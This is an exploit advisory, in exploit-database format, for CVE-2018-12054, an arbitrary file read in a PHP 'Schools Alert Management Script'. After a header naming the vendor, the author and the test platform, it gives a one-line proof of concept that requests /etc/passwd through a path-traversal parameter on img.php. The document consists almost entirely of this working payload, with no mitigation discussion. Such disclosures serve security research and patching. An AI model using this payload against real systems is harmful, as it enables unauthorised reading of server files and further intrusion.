Schools Alert Management Scripts Arbitrary File Read

`# Exploit Title: Schools Alert Management Script - Arbitrary File Read  
# Date: 2018-06-07  
# Vendor Homepage: https://www.phpscriptsmall.com/  
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/  
# Category: Web Application  
# Exploit Author: M3@Pandas  
# Web: https://github.com/unh3x/just4cve/issues/4  
# Tested on: Linux Mint  
# CVE: CVE-2018-12054  
  
# Proof of Concepti1/4  
  
/img.php?f=/./etc/./passwd  
  
`